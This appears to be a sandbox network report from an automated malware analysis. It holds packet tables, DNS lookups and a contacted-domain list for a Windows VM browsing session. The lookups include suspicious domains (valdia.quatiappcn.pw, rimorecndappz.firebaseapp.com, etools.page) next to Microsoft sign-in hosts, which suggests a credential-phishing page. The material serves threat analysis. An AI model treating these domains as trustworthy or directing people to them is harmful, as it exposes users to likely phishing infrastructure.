May 13, 2022 16:39:53.166208029 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.185080051 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185122967 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185148954 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185298920 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185329914 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185415030 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185441971 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185657024 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185688972 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185715914 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185812950 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185878038 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.185908079 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186052084 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186132908 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186161995 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186256886 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186283112 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186304092 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.186429977 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186531067 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186611891 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186638117 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186806917 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.186845064 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187000036 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187041044 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187102079 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187129974 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187156916 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187184095 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187211990 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187241077 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187290907 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.187417984 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187448025 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187596083 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187633991 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187798023 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187844038 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.187939882 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.212496042 CEST 443 49702 20.82.210.154 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP
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May 13, 2022 16:39:53.254337072 CEST 443 49688 131.253.33.200 192.168.2.3

May 13, 2022 16:39:53.254560947 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.310251951 CEST 443 49702 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.310357094 CEST 443 49702 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.310451984 CEST 49702 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.310513020 CEST 49702 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.311795950 CEST 49702 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.311819077 CEST 443 49702 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.321541071 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.321576118 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.321598053 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.321670055 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.321701050 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.321753979 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.321791887 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.366303921 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.366328955 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.366457939 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.366482973 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.366497993 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.366586924 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.366624117 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.410902023 CEST 443 49703 20.82.210.154 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2022 16:39:53.053314924 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:39:53.805923939 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:39:54.556128025 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:39:55.321743965 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:39:56.087486029 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:04.523827076 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:04.538055897 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:04.543699980 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:05.276196957 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:05.288181067 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:05.294215918 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:05.929265022 CEST 65358 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:05.936002970 CEST 49873 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:05.946625948 CEST 53 65358 8.8.8.8 192.168.2.3

May 13, 2022 16:40:05.953609943 CEST 53 49873 8.8.8.8 192.168.2.3

May 13, 2022 16:40:06.023680925 CEST 53802 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:06.027214050 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:06.038661957 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:06.044753075 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:06.046420097 CEST 53 53802 8.8.8.8 192.168.2.3

May 13, 2022 16:40:09.039407015 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:09.046845913 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:09.052912951 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:09.641314030 CEST 64452 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:09.667335033 CEST 53 64452 8.8.8.8 192.168.2.3

May 13, 2022 16:40:09.789681911 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:09.797696114 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:09.808701038 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:10.438188076 CEST 61380 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:10.460453033 CEST 53 61380 8.8.8.8 192.168.2.3

May 13, 2022 16:40:10.541683912 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:10.549825907 CEST 137 137 192.168.2.3 192.168.2.255
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May 13, 2022 16:40:10.561690092 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:11.394009113 CEST 63146 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:11.417355061 CEST 53 63146 8.8.8.8 192.168.2.3

May 13, 2022 16:40:11.831042051 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:12.582511902 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:13.257036924 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:13.338602066 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:14.019665003 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:14.371581078 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:14.771605968 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:15.122720003 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:15.873771906 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:22.932523966 CEST 59795 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:22.964126110 CEST 53 59795 8.8.8.8 192.168.2.3

May 13, 2022 16:40:23.669008017 CEST 59390 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:23.823159933 CEST 64816 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:23.847883940 CEST 53 64816 8.8.8.8 192.168.2.3

May 13, 2022 16:40:27.497977018 CEST 64996 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:27.526654959 CEST 53 64996 8.8.8.8 192.168.2.3

May 13, 2022 16:40:42.716161966 CEST 60640 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:42.734848976 CEST 53 60640 8.8.8.8 192.168.2.3

May 13, 2022 16:40:43.053803921 CEST 49844 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:44.439919949 CEST 50152 53 192.168.2.3 8.8.8.8

May 13, 2022 16:40:45.290072918 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:46.043689013 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:46.794038057 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:40:46.895973921 CEST 55403 53 192.168.2.3 8.8.8.8

May 13, 2022 16:41:02.674336910 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:41:03.410587072 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:41:04.160923004 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:41:57.177463055 CEST 138 138 192.168.2.3 192.168.2.255

May 13, 2022 16:43:21.222980976 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:43:21.984880924 CEST 137 137 192.168.2.3 192.168.2.255

May 13, 2022 16:43:22.750123978 CEST 137 137 192.168.2.3 192.168.2.255

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 13, 2022 16:40:05.929265022 CEST 192.168.2.3 8.8.8.8 0x3a36 Standard query 
(0)

clients2.g
oogle.com

A (IP address) IN (0x0001)

May 13, 2022 16:40:05.936002970 CEST 192.168.2.3 8.8.8.8 0xc2a1 Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001)

May 13, 2022 16:40:06.023680925 CEST 192.168.2.3 8.8.8.8 0x9ca Standard query 
(0)

valdia.qua
tiappcn.pw

A (IP address) IN (0x0001)

May 13, 2022 16:40:09.641314030 CEST 192.168.2.3 8.8.8.8 0xa572 Standard query 
(0)

rimorecnda
ppz.fireba
seapp.com

A (IP address) IN (0x0001)

May 13, 2022 16:40:10.438188076 CEST 192.168.2.3 8.8.8.8 0x444a Standard query 
(0)

unpkg.com A (IP address) IN (0x0001)

May 13, 2022 16:40:11.394009113 CEST 192.168.2.3 8.8.8.8 0xea51 Standard query 
(0)

cdnjs.clou
dflare.com

A (IP address) IN (0x0001)

May 13, 2022 16:40:22.932523966 CEST 192.168.2.3 8.8.8.8 0xd46c Standard query 
(0)

etools.page A (IP address) IN (0x0001)

May 13, 2022 16:40:23.669008017 CEST 192.168.2.3 8.8.8.8 0x446d Standard query 
(0)

secure.aad
cdn.micros
oftonline-p.com

A (IP address) IN (0x0001)

May 13, 2022 16:40:23.823159933 CEST 192.168.2.3 8.8.8.8 0x30ce Standard query 
(0)

a.nel.clou
dflare.com

A (IP address) IN (0x0001)

May 13, 2022 16:40:27.497977018 CEST 192.168.2.3 8.8.8.8 0x88f0 Standard query 
(0)

rimorecnda
ppz.fireba
seapp.com

A (IP address) IN (0x0001)

May 13, 2022 16:40:42.716161966 CEST 192.168.2.3 8.8.8.8 0xda40 Standard query 
(0)

bit.ly A (IP address) IN (0x0001)
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May 13, 2022 16:40:43.053803921 CEST 192.168.2.3 8.8.8.8 0x23b4 Standard query 
(0)

signup.live.com A (IP address) IN (0x0001)

May 13, 2022 16:40:44.439919949 CEST 192.168.2.3 8.8.8.8 0xbd28 Standard query 
(0)

acctcdn.ms
ftauth.net

A (IP address) IN (0x0001)

May 13, 2022 16:40:46.895973921 CEST 192.168.2.3 8.8.8.8 0x177 Standard query 
(0)

fpt.live.com A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 13, 2022 
16:40:05.946625948 CEST

8.8.8.8 192.168.2.3 0x3a36 No error (0) clients2.g
oogle.com

clients.l.google.co
m

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:05.946625948 CEST

8.8.8.8 192.168.2.3 0x3a36 No error (0) clients.l.
google.com

142.250.185.238 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:05.953609943 CEST

8.8.8.8 192.168.2.3 0xc2a1 No error (0) accounts.g
oogle.com

142.250.186.77 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:06.046420097 CEST

8.8.8.8 192.168.2.3 0x9ca No error (0) valdia.qua
tiappcn.pw

188.114.97.10 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:06.046420097 CEST

8.8.8.8 192.168.2.3 0x9ca No error (0) valdia.qua
tiappcn.pw

188.114.96.10 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:09.667335033 CEST

8.8.8.8 192.168.2.3 0xa572 No error (0) rimorecnda
ppz.fireba
seapp.com

199.36.158.100 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:10.460453033 CEST

8.8.8.8 192.168.2.3 0x444a No error (0) unpkg.com 104.16.126.175 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:10.460453033 CEST

8.8.8.8 192.168.2.3 0x444a No error (0) unpkg.com 104.16.122.175 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:10.460453033 CEST

8.8.8.8 192.168.2.3 0x444a No error (0) unpkg.com 104.16.125.175 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:10.460453033 CEST

8.8.8.8 192.168.2.3 0x444a No error (0) unpkg.com 104.16.124.175 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:10.460453033 CEST

8.8.8.8 192.168.2.3 0x444a No error (0) unpkg.com 104.16.123.175 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:11.417355061 CEST

8.8.8.8 192.168.2.3 0xea51 No error (0) cdnjs.clou
dflare.com

104.17.25.14 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:11.417355061 CEST

8.8.8.8 192.168.2.3 0xea51 No error (0) cdnjs.clou
dflare.com

104.17.24.14 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:22.964126110 CEST

8.8.8.8 192.168.2.3 0xd46c No error (0) etools.page 188.114.96.10 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:22.964126110 CEST

8.8.8.8 192.168.2.3 0xd46c No error (0) etools.page 188.114.97.10 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:22.972779036 CEST

8.8.8.8 192.168.2.3 0x16dc No error (0) dual.part-0032.t-
0009.t-msedge
.net

global-entry-
afdthirdparty-
fallback.trafficman
ager.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:22.972779036 CEST

8.8.8.8 192.168.2.3 0x16dc No error (0) dual.part-0032.t-
0009.fbs1-t-m
sedge.net

part-0032.t-
0009.fbs1-t-
msedge.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:22.972779036 CEST

8.8.8.8 192.168.2.3 0x16dc No error (0) part-0032.t-
0009.fbs1-t-
msedge.net

13.107.219.60 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:22.972779036 CEST

8.8.8.8 192.168.2.3 0x16dc No error (0) part-0032.t-
0009.fbs1-t-
msedge.net

13.107.227.60 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:23.690241098 CEST

8.8.8.8 192.168.2.3 0x446d No error (0) secure.aad
cdn.micros
oftonline-p.com

secure.aadcdn.mic
rosoftonline-
p.com.edgekey.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:23.847883940 CEST

8.8.8.8 192.168.2.3 0x30ce No error (0) a.nel.clou
dflare.com

35.190.80.1 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:27.526654959 CEST

8.8.8.8 192.168.2.3 0x88f0 No error (0) rimorecnda
ppz.fireba
seapp.com

199.36.158.100 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:28.431083918 CEST

8.8.8.8 192.168.2.3 0x372c No error (0) dual.part-0032.t-
0009.t-msedge
.net

global-entry-
afdthirdparty-
fallback.trafficman
ager.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:28.431083918 CEST

8.8.8.8 192.168.2.3 0x372c No error (0) dual.part-0032.t-
0009.fbs1-t-m
sedge.net

part-0032.t-
0009.fbs1-t-
msedge.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:28.431083918 CEST

8.8.8.8 192.168.2.3 0x372c No error (0) part-0032.t-
0009.fbs1-t-
msedge.net

13.107.219.60 A (IP address) IN 
(0x0001)
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May 13, 2022 
16:40:28.431083918 CEST

8.8.8.8 192.168.2.3 0x372c No error (0) part-0032.t-
0009.fbs1-t-
msedge.net

13.107.227.60 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:42.734848976 CEST

8.8.8.8 192.168.2.3 0xda40 No error (0) bit.ly 67.199.248.10 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:42.734848976 CEST

8.8.8.8 192.168.2.3 0xda40 No error (0) bit.ly 67.199.248.11 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:43.072654009 CEST

8.8.8.8 192.168.2.3 0x23b4 No error (0) signup.live.com account.msa.msid
entity.com

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:43.072654009 CEST

8.8.8.8 192.168.2.3 0x23b4 No error (0) account.ms
a.msidentity.com

account.msa.traffic
manager.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:43.394795895 CEST

8.8.8.8 192.168.2.3 0x8c02 No error (0) prda.aadg.
msidentity.com

www.tm.a.prd.aad
g.trafficmanager.n
et

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:44.259068012 CEST

8.8.8.8 192.168.2.3 0xd11d No error (0) scdn1efff.
wpc.9da5e.
alphacdn.net

sni1gl.wpc.alphacd
n.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:44.259068012 CEST

8.8.8.8 192.168.2.3 0xd11d No error (0) sni1gl.wpc
.alphacdn.net

152.199.21.175 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:44.473582983 CEST

8.8.8.8 192.168.2.3 0xbd28 No error (0) acctcdn.ms
ftauth.net

acctcdn.trafficman
ager.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:44.473582983 CEST

8.8.8.8 192.168.2.3 0xbd28 No error (0) scdn1efff.
wpc.9da5e.
alphacdn.net

sni1gl.wpc.alphacd
n.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:44.473582983 CEST

8.8.8.8 192.168.2.3 0xbd28 No error (0) sni1gl.wpc
.alphacdn.net

152.199.21.175 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:44.484966993 CEST

8.8.8.8 192.168.2.3 0x2e8 No error (0) dual.part-0032.t-
0009.t-msedge
.net

global-entry-
afdthirdparty-
fallback.trafficman
ager.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:44.484966993 CEST

8.8.8.8 192.168.2.3 0x2e8 No error (0) dual.part-0032.t-
0009.fbs1-t-m
sedge.net

part-0032.t-
0009.fbs1-t-
msedge.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:44.484966993 CEST

8.8.8.8 192.168.2.3 0x2e8 No error (0) part-0032.t-
0009.fbs1-t-
msedge.net

13.107.219.60 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:44.484966993 CEST

8.8.8.8 192.168.2.3 0x2e8 No error (0) part-0032.t-
0009.fbs1-t-
msedge.net

13.107.227.60 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:44.566577911 CEST

8.8.8.8 192.168.2.3 0x7cf2 No error (0) scdn1efff.
wpc.9da5e.
alphacdn.net

sni1gl.wpc.alphacd
n.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:44.566577911 CEST

8.8.8.8 192.168.2.3 0x7cf2 No error (0) sni1gl.wpc
.alphacdn.net

152.199.21.175 A (IP address) IN 
(0x0001)

May 13, 2022 
16:40:46.923702002 CEST

8.8.8.8 192.168.2.3 0x177 No error (0) fpt.live.com fpt.microsoft.com CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:47.796075106 CEST

8.8.8.8 192.168.2.3 0xd46b No error (0) scdn1efff.
wpc.9da5e.
alphacdn.net

sni1gl.wpc.alphacd
n.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 13, 2022 
16:40:47.796075106 CEST

8.8.8.8 192.168.2.3 0xd46b No error (0) sni1gl.wpc
.alphacdn.net

152.199.21.175 A (IP address) IN 
(0x0001)

May 13, 2022 
16:41:03.224638939 CEST

8.8.8.8 192.168.2.3 0xf6a5 No error (0) prda.aadg.
msidentity.com

www.tm.a.prd.aad
g.trafficmanager.n
et

CNAME 
(Canonical 
name)

IN 
(0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
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arc.msn.com

            
store-images.s-microsoft.com

            
valdia.quatiappcn.pw

            
accounts.google.com

            
clients2.google.com

            
rimorecndappz.firebaseapp.com

            
unpkg.com

            
cdnjs.cloudflare.com

            
aadcdn.msauth.net

            
etools.page

            
a.nel.cloudflare.com

            
fs.microsoft.com

            
bit.ly

            
https:

acctcdn.msauth.net

            
img-prod-cms-rt-microsoft-com.akamaized.net

            
sls.update.microsoft.com

            
ris.api.iris.microsoft.com

            
displaycatalog.mp.microsoft.com

         

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.2.3 49703 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:53 UTC 0 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220308T163157Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=eaf309383a404eb58faf19c69c943f89&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418352&metered=false&nettype=ethernet&npid=sc-
314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7
%2C1&tl=2&tsu=1418352&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
Cache-Control: no-cache
MS-CV: rDozWvWpOkiVUKUq.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

HTTPS Proxied Packets
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2022-05-13 14:39:53 UTC 3 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=948
Content-Length: 53755
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T
700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNC
RFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},
{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6V
K_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_
9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: mitBl/o6NVgAlpWKlHVAyDkNm62oxqEo4CDZuoGn44TFIe2Pybc9U1YLH7fQyscdlVNXQbmDQQF7wt7
8JU+NZYcET3AWl+KhhHKoaHLGNCWsJC8+PLrD2oAgDCQPq/M4EVN4SYU8gR0iQjH06IneWxC64hylTZadpSs21rQBo
FPgQy+xUqZdz4OUZATwzKRGqYDBlh+agoT+358yKeqW9x2R3LzNpTi15v85cS24mg70ZLN8zQgynrQcU3X3/GxpZnO
HcuOOvIYkVqiSzD5S2aeHzgk40lj/NCQS3/mw3xoNh2u5k6WL4DiszpYNyGYKxCxSzvEQuat9NBcjEA2aJQ==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 13 May 2022 14:39:52 GMT
Connection: close

2022-05-13 14:39:53 UTC 4 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5
c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 
65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 
74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 
5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"
CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"b
oolean\

2022-05-13 14:39:53 UTC 19 IN Data Raw: 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 
5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 
6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 
6c 65 26 63 63 69 64 3d 38 63 65 39 62 39 64 61 31 61 63 39 34 31 31 36 62 31 36 38 62 64 63 37 65 31 63 38 63 37 34 
